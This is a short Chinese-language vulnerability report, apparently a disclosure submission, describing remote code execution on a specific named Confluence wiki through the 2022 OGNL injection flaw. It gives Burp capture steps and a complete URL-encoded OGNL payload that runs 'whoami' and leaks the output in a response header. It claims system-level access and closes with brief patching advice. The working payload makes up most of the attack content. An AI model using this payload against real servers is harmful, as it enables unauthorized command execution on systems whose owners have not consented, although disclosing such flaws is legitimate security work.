1. 访问域名来到正源德标WIKI后台

<http://wiki.ebidding.xin/login.action?os_destination=%2Findex.action&permissionViolation=true>



1. 首先利用burp进行抓包，将其发送到Repeat模块



1. 进行替换payload

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/



可以任意执行语句，获得系统权限



成功造成远程代码执行漏洞，得到系统权限

尽快更新至修复版本，安装补丁https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html，设置waf等等